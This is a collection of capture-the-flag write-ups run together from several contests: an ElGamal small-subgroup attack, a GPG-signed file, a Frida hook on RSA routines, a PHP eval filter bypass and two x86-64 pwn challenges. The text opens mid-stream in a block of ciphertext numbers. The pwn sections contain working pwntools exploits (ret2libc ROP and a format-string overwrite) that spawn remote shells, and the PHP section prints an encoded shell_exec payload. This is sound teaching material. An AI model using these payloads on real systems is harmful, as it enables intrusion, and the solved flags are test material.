104409520838124313357488462171322869694755717198542661367520640602902199184690105639553171123292272760958017496069309952668498150588846820302434184020218781728775605080895263186300107293704616661912759358000040628997324540481289302021008155436120619534548297597507985106058086672227223982763078841107102560375)(3647049597173105269770523850014664620416833777086632199202272599126545712345520652224644745010355094549516763226403409963216990965131140154759840613942417611418858250276155267785849585826541686302564119662254977526726579926569015815100567091605666432678799298716456167400345601517500588984248646653223656629, 49535772217299786278654386101221181801728818704713574708993139877888721874318843695988695968336594422702009274687377988598024110900938398527487081977993280927836069969777471294171111030810839372816250656150115579902112801808937080695143463534890427667396807700572073899129801961219607778323937923179995825356)(105372396028917022785116007341819664362697031593635617185708303614783267729132251411703053778219877506559944878375482943658474062743895034070775557724722127978037428615282691709669531495459510218886832509371731778391354272301887123656891464915639283726796876115840791516935675952286992710570528645594505772020, 141937472617856074433523304720225158981834599743709248954077273079604422821351362250866226354709455275203471109351230620985786278965567223284721270682258003006203976678536854093867091413944490638681801510530716707344229080947724265978203029521937292524572470889045533841984200823689223511345055375841379477028)(71929836487828283933844798312248228823257940293158917610147992723679356198058643433405001376183220857635898954195326893223396398984927188070746258452835958161437436187204573395605497151711356428590217930193735006866638515579054233863666542834509538238757938170024142337012680731262233808688799678566671187060, 4309461013784518277764976602428177369904105140442379932257210399940026899700166351922350954799336384657060214230423523274762494988359525050542210702691361574373019304872698829904759892483476555111035814368920509648318740956348797394210949418101038899662947274499147071922586206379331389433530895805425815175)(98811907562450623851274092837809466919224338219044115729218365506871490538181859303653940239876474699164554788069608754410248206818856015640088541420840931191946515671759279927990448786500292909725336130026829955730477115385265540892509952306951442518883789093067915681055055217417453179491344936940034271480, 84143515899496116188572113192956599180605800840583245499558378243129551645054180526055740867850212838153732376534522755264502845106155319362772564088947736715818142141386150312406464719188138565952813892981635683358727735077665428343353532858311885576150172493246357296786729463740630558259221006065710943501)(26708737974612276419922995162192492010511419226590145035950025586061621611259219947224375750113155159643901054215416965695705156598018072720635611537237065998373851678691541340989433509236606144831612537895993812365637315589275631025792039990287807141000570322621413702392098952115460208182011936510846562207, 87901373774417838880214066349936457615092546021356297667848807737620026567747745459679183049363243466909335843651016514924416545099248010626761146828045201541022376344959906988598168639020804604491706613660588967437590390806716793860609305334009439169482642211756505764611602001883105007307478590330498547242)(146228803439093971820808193766117171244427085304883778075026034125166600588010260299842786837511869251660559330189223385217075162184553167318562222415559055120833544873707022961372703097200523802972523991190823578991375231521760712112760544288269950810926160300334194835046357777757230869852863726507855678915, 167480304235996443055255759453438063453563073467499452336588285845734119883452453662859194339871886917451228490472707892284938448832620996251066814997425932053307695472790403686713653164418967893130800046172289403778052809807179586084096217390522709149374897321050210709359938389600024556229365102683195684174)(147193349057010313568073091303650091084413011626739513111445678749936148009895760111430589635514339703072878652858517154276039191719332708977400824904283917822602277193527486680879118687582434726226978414832051811168982139564680023399692632036712492973829722144259616731877492844363125437809543718977077459086, 146084265797822316406316746693979455674734040949827132573720418487380124168241258690229342350123964958339210983851557172825329877815687976647778017423147989068018853060571219726119906157412160354052367907223775899759452351906939288834516186994159326970635757529144960353585418010592927867535353922147451984878)(92819518855081475760443095985615771901409019051807350965975972979805795389986448134441936058029650361572345759476376254452103235379928412842801268881653185079667538383738815438268943142667054667820205690407480959439139363571023994210623313845855467952067877773408021424755370040529631825411114163069344422407, 46190864327906453154611266064375776586334219588391329679304794595736675656175748273553563201549527474891258814280378307941789756595542784601646510175697737756889919309479769607660042409418056106801321534848079023022267572588104342592592398158699567730318958361885411809544161995545855589660626065463740407771)(167421647267342232276260618810765757844969973638630104591364840548026828626549964933856060113426562057417612575744609090267213155911030131957555444216107129394952471286820309567448048470152499493454605616189910456930770182818996818491437531387770152748239962886689498888395694085300623113905217931497509389689, 26718510726692414470313828281340834947123503722812889003158226782887742601516852075878907197839819350811199621848257910275462818343717768939741763296168491009301152747353575517403674820346102642710417072536162527628295659047823421110809522697010455743946461817451923373433185526165223247754054953124685431369)(40476616511457751786233544603755926127927532186060663729479110303790321524100736778252856011458314623565481959334278117908052328408321150823199419072367518000347063514046176855968498503959119606640680281841923600382914216220112943548704298940114099524627362876381796579789791827385789886230420691371474973471, 101364468917449777887732700115592955967787320454406254340451191577471091479692400260814121698519258809780036630826827604061290378943661109123156527499395488921061814512520056607918669711042768972514778337813223263629741548786012900177462585732744353347749583848249679591301430724242720499516727783673133853192)(51374977617042798309547437698820705159102830277228800018000387276714921885101246042628607417939456322822951770362952989257537092293105388949007456002523613601165569556601401339361267086033577669719471759347223720152892636178336665053405881062402955894642828622564202122157526037570609192607799757488229873625, 123885371224757097679222099441433542536754114212216764666183883669017288884505871547392887797352016271261958692154627325391473158582613752515244794384499733039295218507792070225385607859342907932808430198775513724409520360876998567053350536209939028010470567979966788875200515713430527591354948563623886967728)(147399908594819912891143422636078272238826292945788707924225819651238365763869276517354537103874153143796410858959832351771475255824024608583818026226238616325888767928642514522031346822597755011972413529898226803309643097634474325724031263338566924224504144530616822473038266918488089741561764092574680297274, 92028574479890468322147036104197595982614881169297982196963758758067652136178653493514758929480828274185743082273133749362558356674921889616357033026578559807279827574874693407571370425931042959838038149188791394524515532996182016321373277283267279895228894122394122992497648260359490875507384276707968029329)(76716895196361799400806555751148886290937575841319629970564874559631244854514133775873118954116054483213041146604736174295546500831092692738118144677293822819702882664649381059941382402728595268557131055973352029256503005376277470504449856840274621705143082893139607386767739608591514747896298646213393826931, 48302806150553532282620722785658566665588519045592032922799422261343434466464403544202608793337241082150394695109228730391710232827342386548954386238365950748819130750706340379861054433700592461128968617379540856442891995675465221405142633303931751206095791322416001212786614565125035570721092889703451799745)(859901368382621807584998989700435906046261678240075937581753883645400139044052970563747710380770995139113933517363145427558711146716907158218158967826103172485657986026725610702474603568927412492865436056020988104454463817234326958483148618155578616526519200556491703653189753233643164947909302278707178497, 67589283973069491277707924116093523725865874511581975700460494525276615256848972360647741149342010410353886528722797585938049951055795417351946598196928710938299310594694517288676852382681683443541174632705145177451072965584298249723786499941936132886906909331194625937016793606736836308639522996671045453341)(19057276229764804637933817668387882444500553270368209610670986738110420408432057106236499567403074189842716454823528257550315612718126592567474987393385984074350687895423237589357951744549989208481612373502920747064946336829119771979421560971599831689813860552978809043110713390417668836989184510237258437065, 45753693853945544687865888971663426601472043910306747579297661450806580677534647084885241250319557756395039313112700114884219763941783122194507214925982263623410345259089340254606157541864372728323111859841440188370753194169067221448317252335167884382432153001258661199044143639061689436546620067070381840310)(88037086461413901628497884884649307584295199664364180105053407254704230290284052187039554821497241143270341575902496498118192115686526375737864302867070001996049941402657125133599867036406021155384941605412107372887772147088296372192040482038435186137844029216586340504532391649350936747821458909363451266244, 47016682195208184445133658602308050899699511344592243090038940676018943774668906014616442429659346207807136147962103933019388547995203759363365821254933700500838070311200880578495817923768403650004374278556817840877798677572955867316863350792778593920000583906270668972117138228527114624089423859662690400799)(22309584425291737783594756719512207832911575317055719684567318323862520092872108059761137636294787806485741764026735447733355265284481339489133102294530736855941062238055835891716868389941747463288042188003244355177120207591068639582358537963676254014286595819435901383967056900881192683567748603236980779626, 121505795083438865635206805773383564651662522482121670809231422542713169665637173935081614506491623638498518564174103716741699347261730566390972385730538451356647382290484667817808814549027939175338025888088279281815225113828950087062198183909590808735145539304730770926307094559162826630298174296269669291510)```
The script encrypts the flag chars separately using [ElGamal](https://en.wikipedia.org/wiki/ElGamal_encryption).But they make the mistake of not using a generator $g$ with prime order.
Factoring $p-1$ partially using sage ```py(p-1).factor(limit=2**30) # 2 * 3 * 5 * 19 * 29499078....```gives prime factors $F=\{2,3,5,9\}$.We know the order $o$ of $g$ divides $p-1$.It seems $o=p-1$ because $g^{(p-1)/m}$ for $m\in F$ does not equal $1$.
Given $x=g^a$, we can compute $a\bmod m$ for $m\in F$ by multiplying $x$ with $g$ until $x^{(p-1)/m} = 1$, because then $g^{a(p-1)/m} = 1$ and therefore $(p-1) \mid a(p-1)/m$ and thus $m\mid a$.
```pydef res(x, m): for i in range(m): if pow(x, (p-1)//m, p) == 1: return (e - i) % m x = x * g % p```
We build a table of `res(c, m)` for all printable chars `c` and $m\in F$.Unfortunately, there are some collisions.
```pychar_tab = {}for c in range(0x20, 0x7f): k = (res(c, 2), res(c, 3), res(c, 5), res(c, 19)) if k in char_tab: char_tab[k].append(c) else: char_tab[k] = [c]```
It remains to compute `res` for the plaintext chars.The ElGamal ciphertext for plaintext $p=g^s$ consists of $c_1 = g^r$ and $c_2 = ph^r = pg^{xr}$.$h=g^x$ is given as part of the public key.We can easily obtain $r\bmod m$ and $x\bmod m$ from $c_1$ and $h$.From $c_2$ we obtain $s+xr \mod m$.Hence, we can compute $s\bmod m$.
```pydef decode(c1, c2): k = [] for m in facs: a = res(c1, m) b = res(h, m) c = res(c2, m) k.append((c - a * b % m) % m) return char_tab[tuple(k)]```
And finally compute the flag.```py flag = ""for c1, c2 in C: d = decode(c1, c2) if len(d) == 1: flag += chr(d[0]) else: flag += f"[{d[0]:c}{d[1]:c}]"print(flag)```
```TWCTF[G{]8d560108444cc[+3]60[+3]74[!e][Vf]544[+3][+3]d218[!e][9:]_[Vf]o[rt]_[rt]h[!e]_[Vf]i[rt]s[rt]_[rt]im[!e]_in_[9:]_[Uy][!e]a[rt]s[!e]}```
To resolve the ambiguities, we guess that the first part is some hex string and the second part a correct sentence.
```TWCTF{8d560108444cc360374ef54433d218e9_for_the_first_time_in_9_years!}``` |
# Pretty Good Pitfall:misc:200ptsPGP/GPG/GnuPG/OpenPGP is great! I reckon you can't find the message, because it looks scrambled! Attached files: flag.txt.gpg (sha256: dad03ac28b7294c8696eeac21d11159c3dcfc8ed226438804fe82b4fb9f6ad87) [flag.txt.gpg](flag.txt.gpg)
# Solutiongpgで暗号化されているようだ。 パスフレーズ総当たりかと思ったが、gpgコマンドでflag.txtが得られた。 ```bash$ lsflag.txt.gpg$ gpg flag.txt.gpggpg: *警告*: コマンドが指定されていません。なにを意味しているのか当ててみます ...gpg: 2020年09月07日 17時46分12秒 JSTに施された署名gpg: RSA鍵3A83778AE59F8A5068930CE191F31AFE193132C8を使用gpg: 署名を検査できません: 公開鍵がありません$ lsflag.txt flag.txt.gpg$ cat flag.txtDUCTF{S1GN1NG_A1NT_3NCRYPT10N}```flagが書かれている。
## DUCTF{S1GN1NG_A1NT_3NCRYPT10N} |
First open the binary in Ghidra and rename the variables.And you will get something like the following:

We quickly see the target `Correct!`, but simply patching the `memcmp` to return `0` will not work, as the flag is the input that lead to `Correct!`.
The first argument of `memcmp` is our (encrypted) input and the second argument is the target data (i.e. what our input should encrypt to).
Target data and the key used is hardcoded in the binary. They are fairly easy to extract, but the data could as well be the result of some complex computation (e.g. if the binary was obfuscated).
Idea: * Hook `RSA_private_encrypt` and save argument 4 (the rsa key) * Hook `memcmp` and call `RSA_public_decrypt` with argument 2 and the above key
frida script:
```jslet rsaKey = null, guessPtr = null;
const dump = (name, data) => console.log(`=== ${name} ===\n${hexdump(data)}\n===`);
Interceptor.attach(Module.findExportByName(null, 'RSA_private_encrypt'), { onEnter: function (args) { console.log('input len.:', args[0]); console.log('input.....:', args[1].readCString()); console.log('output ptr:', args[2]); guessPtr = args[2]; console.log('key.......:', args[3]); rsaKey = args[3]; // dump("RSA KEY", rsaKey); console.log('padding...:', args[4]); }, onLeave: function (retval) { console.log(`Size of signature = ${retval}`); // 0x80 }});
const RSA_public_decrypt = new NativeFunction(Module.findExportByName(null, 'RSA_public_decrypt'), 'int', ['int', 'pointer', 'pointer', 'pointer', 'int']);
Interceptor.attach(Module.findExportByName(null, 'memcmp'), { onEnter: function (args) { this.str = `memcmp(${args[0]}, ${args[1]})`; // assert args[0] == guessPtr
const x = Memory.alloc(0x80); RSA_public_decrypt(0x80, args[1], x, rsaKey, 1); dump("Flag", x); }, onLeave: function (retval) { console.log(`${this.str} = ${retval}`) // retval.replace(ptr(0x0)); // this will make it print "Correct" }});```
Command:
```bash$ frida -f ./rsa --no-pause --runtime=v8 -l ./crack.js "TWCTF{*****************************}" ____ / _ | Frida 12.10.4 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://www.frida.re/docs/home/Spawned `./rsa TWCTF{*****************************}`. Resuming main thread!Incorrect!input len.: 0x24input.....: TWCTF{*****************************}�output ptr: 0x7ffe6c161760key.......: 0x5594d6ea2930padding...: 0x1Size of signature = 0x80
Err?: 28=== Flag === 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF7fcc577aa060 54 57 43 54 46 7b 52 69 76 65 73 74 5f 53 68 61 TWCTF{Rivest_Sha7fcc577aa070 6d 69 72 5f 41 64 6c 65 6d 61 6e 7d 00 00 00 00 mir_Adleman}....7fcc577aa080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa0a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa0b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa0c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa0d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa0e0 90 00 00 00 00 00 00 00 01 01 00 00 00 00 00 00 ................7fcc577aa0f0 f0 74 7a 57 cc 7f 00 00 f0 74 7a 57 cc 7f 00 00 .tzW.....tzW....7fcc577aa100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................7fcc577aa120 50 8a 7a 57 cc 7f 00 00 f8 91 0c 66 ce 7f 00 00 P.zW.......f....7fcc577aa130 65 73 73 69 6f 6e 2f 31 00 39 3e 66 ce 7f 00 00 ession/1.9>f....7fcc577aa140 30 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 0.......R.......7fcc577aa150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................===memcmp(0x7ffe6c161760, 0x7ffe6c161480) = 0xfffffff8Process terminated[Local::rsa]->
Thank you for using Frida!``` |
First flag and solution for "Angular of another Universe": [https://bonusplay.pl/writeups/angular_of_the_universe](https://bonusplay.pl/writeups/angular_of_the_universe) |
# Jailoo Warmup (Web)
We have a webpage containing a form with a text input box and a submit button. We are also given this fragment of backend code:```phpCommand executed !</div>"; eval($cmd); }else{ die("<div class=\"error\">NOT ALLOWED !</div>"); } }else{ die("<div class=\"error\">NOT ALLOWED !</div>"); } }else if ($_SERVER['REQUEST_METHOD']!="GET"){ die("<div class=\"error\">NOT ALLOWED !</div>"); } ?>```Finally, we are told that the flag is in `FLAG.PHP`.
It seems like the text we input will be directly executed as PHP code, but with restrictions: we can only use the characters `$()_[]=;+".`. Otherwise the server will return an error message.
Let's look at what we have. `$` allows us to define and reference variables. `_` is the only character we have that is valid in a variable name, so all our variables must be named `$_`, `$__`, `$___`, etc. `()` can be used for grouping. `[]` lets us write array literals and perform indexing. `=` can be used for assignment or the `==` operator. `;` is used to terminate statements. `+` can be used for the `+` and `++` operators. `"` is for string literals, and `.` is the string concatenation operator.
First of all, we can express `1` as `[]==[]`. If we have two numbers, we can also represent their sum using the `+` operator.
To get strings, we can use the `.` operator with arrays which converts them to strings. `[].[]` evaluates to `"ArrayArray"`. To get individual characters, we can use `[]` to index into the string, with the index constructed using numbers as described above.
Adding a number to a character does not do anything. However, if we have a variable containing a letter, and we apply the `++` operator on the variable, it becomes the next letter. For instance, if we have `$_` has value `'a'` and we run `$_++;` then `$_` will have value `'b'` afterwards. Note that this only works for (both lowercase and uppercase) letters. It does not work for any non-letter characters. Using this method, we can encode all letter strings, by starting with one of the letters in `"ArrayArray"` and continuously incrementing it.
PHP has an interesting feature where you can call strings as functions. The expression `("func")(x)` is the same as `func(x)`, i.e., when a string is called as a function, PHP finds the function in the current environment whose name is the string and calls that function with the given arguments. This allows us to programmatically construct the names of functions that we want to call, so that we don't have to refer to functions using their literal name (which would have letters and therefore would not be allowed). We can already encode any letter using the allowed characters (as well as `"_"` which is trivial), and we can concatenate letters together using `.`, so we can encode any single-argument function call, assuming that the argument is also encodable, and that the function name is composed of only letters and `_`. We cannot encode multi-argument function calls because `,` is not allowed.
However, at this point we still can only have letters and the allowed characters in strings. To be able to represent *any* character in a string, we can use the `chr` function. `chr` converts a character code into its corresponding character; for example, `chr(97)` is `"a"`. Since we can already represent any number, all we need to do is construct the character code and then call `chr` using the trick described above, where we encode `"chr"` and then call it on the number.
Now we need to think about what we want the exploit code to do. We need it to have output so that we can see the result on the returned HTML page. The standard way to do that in PHP is with `echo`. However, `echo` is a statement, not a function, so we cannot invoke it using the string calling trick. Luckily, PHP has actual functions which perform output as well; I came across the `print_r` function, which "prints human-readable information about a variable". For our purposes, it does the same thing as `echo`.
Once we have all this set up, we can try reading `FLAG.PHP`. I tried using the `file_get_contents`, but it didn't work. In fact, any PHP function involving file I/O, such as `file_exists` or `scandir`, didn't work. It seems like they disabled these functions to make the challenge harder. But found a function that *did* work: `shell_exec`. It takes a shell command, runs it, and returns the result as a string. Using this, we can read the file simply by calling `shell_exec("cat FLAG.PHP")`. (And we can do a lot of other things as well!) Therefore, the solution is to encode `print_r(shell_exec("cat FLAG.PHP"));`.
To perform the actual encoding, I wrote a Python script. At first, I used the most straighforward method of first obtaining the string `"chr"` using the incrementing method on a counter variable, then representing every character as `("chr")(1+1+1+...+1)` where each `1` is `([]==[])`. This resulted in very long generated code. When I tried submitting it, it would fail with an error, even though the code only contained the allowed characters. Upon further experimentation, it turned out that the `preg_match_all` function silently fails if the input is over 2047 characters long. So I needed to make the script more sophisticated to optimize the size of the generated code. In the end, I decided to create variables holding the powers of 2. Each variable is the sum of two of the previous one, and the first one is `[]==[]`. Then any character code can be represented efficiently as the sum of certain powers of 2. This allowed the code size to be well within the limit, and I obtained the flag. It turned out that `FLAG.PHP` had the flag inside a HTML comment, so I couldn't see it on the page at first and had to open developer tools to see it.
The output of the script is:```$__=[]==[];$_=([].[])[$__+$__+$__];$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$____=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$____.$_;$___=$__+$__;$____=$___+$___;$_____=$____+$____;$______=$_____+$_____;$_______=$______+$______;$________=$_______+$_______;($_($______+$_______+$________).$_($___+$______+$_______+$________).$_($__+$_____+$_______+$________).$_($___+$____+$_____+$_______+$________).$_($____+$______+$_______+$________)."_".$_($___+$______+$_______+$________))(($_($__+$___+$______+$_______+$________).$_($_____+$_______+$________).$_($__+$____+$_______+$________).$_($____+$_____+$_______+$________).$_($____+$_____+$_______+$________)."_".$_($__+$____+$_______+$________).$_($_____+$______+$_______+$________).$_($__+$____+$_______+$________).$_($__+$___+$_______+$________))($_($__+$___+$_______+$________).$_($__+$_______+$________).$_($____+$______+$_______+$________).$_($_______).$_($___+$____+$________).$_($____+$_____+$________).$_($__+$________).$_($__+$___+$____+$________).".".$_($______+$________).$_($_____+$________).$_($______+$________)));``` |
# DownUnderCTF
## Return to what
> 200>> Author: Faith>> This will show my friends!>> `nc chal.duc.tf 30003`>> Attached files:>> * [return-to-what](return-to-what) (sha256: a679b33db34f15ce27ae89f63453c332ca7d7da66b24f6ae5126066976a5170b)
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _bof_
## Summary
`gets`... again.
This is the same as [_Shell this!_](https://github.com/datajerk/ctf-write-ups/tree/master/downunderctf2020/shellthis) sans the _win_ function.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No shellcode, but that's about it.
### Decompile with Ghidra
```cvoid vuln(void)
{ char local_38 [48]; puts("Where would you like to return to?"); gets(local_38); return;}```
`gets` vulnerability. Easy ROP since no canary or PIE. To get to the return address send `0x38` bytes (gotta love how Ghidra tells you that, i.e. `local_38`).
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./return-to-what')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' libc = binary.libc p = process(binary.path)else: context.log_file = 'remote.log' p = remote('chal.duc.tf', 30003)```
Boilerplate pwntools. `context.binary` is important for ROP. Also notice there's no `libc` set for `REMOTE` since we have to find it first.
### Leak libc
```pythonrop = ROP([binary])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
payload = 0x38 * b'A'payload += p64(pop_rdi)payload += p64(binary.got.puts)payload += p64(binary.plt.puts)payload += p64(binary.sym.vuln)
p.sendlineafter('Where would you like to return to?\n',payload)
_ = p.recv(6)puts = u64(_ + b'\0\0')log.info('puts: ' + hex(puts))```
Standard `puts` _putting_ itself out there. With the `puts` location known we can find the version and base address of libc. The last part of the payload jumps back to `vuln` for a second and final pass.
### Find libc
```pythonif not 'libc' in locals(): try: import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'puts':hex(puts)[-3:]}}) libc_url = r.json()[0]['download_url'] libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content) except: log.critical('get libc yourself!') sys.exit(0) libc = ELF(libc_file) libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))```
> Something new I'm experimenting with.
The `if` block will detect and download the correct libc. `libc_url = r.json()[0]['download_url']` needs to be changed if the downloaded libc does not work, just increment the `[0]` until you get the right one.
### Get a shell, get the flag
```pythonpayload = 0x38 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b'/bin/sh').__next__())payload += p64(libc.sym.system)
p.sendlineafter('Where would you like to return to?\n',payload)p.interactive()```
Pop a shell, get the flag.
> `p64(pop_rdi + 1)` fixes a stack [alignment issue](https://blog.binpang.me/2019/07/12/stack-alignment/), see [blind-piloting](https://github.com/datajerk/ctf-write-ups/tree/master/b01lersctf2020/blind-piloting) for a lengthy example.
Output:
```# ./exploit.py REMOTE=1[*] '/pwd/datajerk/downunderctf2020/return_to_what/return-to-what' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to chal.duc.tf on port 30003: Done[*] Loaded 14 cached gadgets for './return-to-what'[*] puts: 0x7f47c1e5c9c0[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1_amd64.so[*] '/pwd/datajerk/downunderctf2020/return_to_what/libc6_2.27-3ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[*] libc.address: 0x7f47c1ddc000[*] Switching to interactive mode$ iduid=1000 gid=999 groups=999$ ls -ltotal 24-rw-r--r-- 1 65534 65534 38 Sep 4 04:31 flag.txt-rwxr-xr-x 1 65534 65534 16664 Sep 4 04:31 return-to-what$ cat flag.txtDUCTF{ret_pUts_ret_main_ret_where???}``` |
# DownUnderCTF
## my first echo server
> 416> > Author: k0wa1ski#6150 and Faith#2563>> Hello there! I learnt C last week and already made my own SaaS product, check it out! I even made sure not to use compiler flags like --please-make-me-extremely-insecure, so everything should be swell.>> `nc chal.duc.tf 30001`>> Hint - The challenge server is running Ubuntu 18.04.>> Attached files: [echos](echos) (sha256: 2311c57a6436e56814e1fe82bdd728f90e5832fda8abc71375ef3ef8d9d239ca)
Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _format-string_
## Summary
Basic format-string leak and exploit.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled```
Mitigations in place. Finally.
### Decompile with Ghidra
```cundefined8 main(void){ long in_FS_OFFSET; int local_5c; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_5c = 0; while (local_5c < 3) { fgets(local_58,0x40,stdin); printf(local_58); local_5c = local_5c + 1; } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0;}```
`printf(local_58)` is the vulnerability, and looped three times (`local_5c`, remember this--we'll fix it later).
The attack is fairly simple, use the stack to leak the stack and libc. We will however need to know the version of libc for the exploit I have in mind (to get a hint just: `strings echos | grep GCC`):
```GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0```
Next, from within a Ubuntu 18.04 container, find the format-string offset and look at the stack:
```gef➤ b *main+73Breakpoint 1 at 0x866gef➤ runStarting program: /pwd/datajerk/downunderctf2020/my_first_echo_server/echos%8$p0xa70243825```
Above, set a break point to get the stack while in `main`, and also try `%n$p` where `n > 0` until the output (in little endian) hex matches the input. In this case it's `8`, and that will be the offset.
The stack:
```0x00007fffffffe2f0│+0x0000: 0x00007fffffffe310 → 0x0000000000000002 ← $rsp0x00007fffffffe2f8│+0x0008: 0x0000000055754d980x00007fffffffe300│+0x0010: 0x0000000a70243825 ("%8$p\n"?)0x00007fffffffe308│+0x0018: 0x000055555555481a → <setup+64> nop0x00007fffffffe310│+0x0020: 0x00000000000000020x00007fffffffe318│+0x0028: 0x00005555555548dd → <__libc_csu_init+77> add rbx, 0x10x00007fffffffe320│+0x0030: 0x00007ffff7de59f0 → <_dl_fini+0> push rbp0x00007fffffffe328│+0x0038: 0x00000000000000000x00007fffffffe330│+0x0040: 0x0000555555554890 → <__libc_csu_init+0> push r150x00007fffffffe338│+0x0048: 0x00005555555546d0 → <_start+0> xor ebp, ebp0x00007fffffffe340│+0x0050: 0x00007fffffffe430 → 0x00000000000000010x00007fffffffe348│+0x0058: 0x677c5564ed27b3000x00007fffffffe350│+0x0060: 0x0000555555554890 → <__libc_csu_init+0> push r15 ← $rbp0x00007fffffffe358│+0x0068: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax```
Starting from the top (offset 6) looking down there are two values that if leaked will give us the stack address of the return address (offset 6 (`+0x0000`)) and the version and location of libc (offset 19 (`+0x0068`)).
With this in hand it will be easy to write out a ROP chain to call `system` on exit.
## Exploit
### Setup
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./echos')context.log_level = 'INFO'
if not args.REMOTE: context.log_file = 'local.log' libc = binary.libc p = process(binary.path)else: context.log_file = 'remote.log' libc_index = 3 p = remote('chal.duc.tf', 30001)```
Boilerplate pwntool, however, `libc_index` is not _boilerplate_. More on this below.
### Leak
```pythonp.sendline('%6$p,%19$p')_ = p.recvline().strip().split(b',')
stack_ret_addr = int(_[0],16) + 72log.info('stack_ret_addr: ' + hex(stack_ret_addr))
__libc_start_main_231 = int(_[1],16)log.info('__libc_start_main_231: ' + hex(__libc_start_main_231))log.info('__libc_start_main: ' + hex(__libc_start_main_231 - 231))```
Requesting parameters 6 and 19 provide the necessary bits to compute the location of the return address and libc (if we know the libc version).
### Find and download libc
```pythonif not 'libc' in locals(): try: import requests r = requests.post('https://libc.rip/api/find', json = {'symbols':{'__libc_start_main':hex(__libc_start_main_231 - 231)[-3:]}}) libc_url = r.json()[libc_index]['download_url'] libc_file = libc_url.split('/')[-1:][0] if not os.path.exists(libc_file): log.info('getting: ' + libc_url) r = requests.get(libc_url, allow_redirects=True) open(libc_file,'wb').write(r.content) except: log.critical('get libc yourself!') sys.exit(0) libc = ELF(libc_file)
libc.address = __libc_start_main_231 - libc.sym.__libc_start_main - 231log.info('libc.address: ' + hex(libc.address))```
> This is something new I'm experimenting with.
This code will search the libc-database and return an array of matches; through trial and error the 3rd (see `libc_index = 3` above) is the libc that works with this challenge.
### Get a shell, get the flag
```pythonoffset = 8rop = ROP([libc])pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
# unlimited free ridespayload = fmtstr_payload(offset,{stack_ret_addr-0x5c:0x80000000})p.sendline(payload)null = payload.find(b'\x00')p.recvuntil(payload[null-2:null])
payloads = [pop_rdi + 1,pop_rdi,libc.search(b'/bin/sh').__next__(),libc.sym.system]for i in range(len(payloads)): payload=fmtstr_payload(offset,{stack_ret_addr+8*i:payloads[i]},write_size='short') p.sendline(payload) null = payload.find(b'\x00') p.recvuntil(payload[null-2:null])
# game overpayload = fmtstr_payload(offset,{stack_ret_addr-0x5c:0x00000003})p.sendline(payload)null = payload.find(b'\x00')p.recvuntil(payload[null-2:null])p.interactive()```
This challenge has two constraints we have to deal with. First, `fgets` only _gets_ 64 (`0x40`) bytes. That is pretty small for a large format string exploit. Second, `local_5c` once incremented to `3` exits the loop. We burned the first pass leaking info. Furthermore, each pass can really only write out one 8-byte format-string payload. With two passes we could use _one gadget_ plus write out a NULL for it's constraint. However I opted for a more portable solution (I'm sure there will be many _one gadget_ write ups).
The first block, after setting up `pop_rdi`, will change `local_5c` to a very large negative number (`0x80000000` (-2147483648)). Since the compare is with an `int` we can leverage an integer overflow vulnerability. Thanks to Ghidra we know where `local_5c` is as well, just by it's name, i.e. `0x5c` from the return address in the stack.
Now with unlimited passes we can write out a ROP chain to get `system` from libc.
The `payloads` array is standard CTF fare. The for loop uses format-string exploits to write out the payload starting from the return address in the stack.
To exit the loop we write `3` to `local_5c`.
> The following lines capture all the format-string exploit garbage for pretty screen grabs (for write-ups):> > ```python> null = payload.find(b'\x00')> p.recvuntil(payload[null-2:null])> ```
> NOTE: This code will fail at times due to ASLR. I should check for _badchars_ in the payload that may prematurely terminate `fgets`, but it is simple to just rerun.
Output:
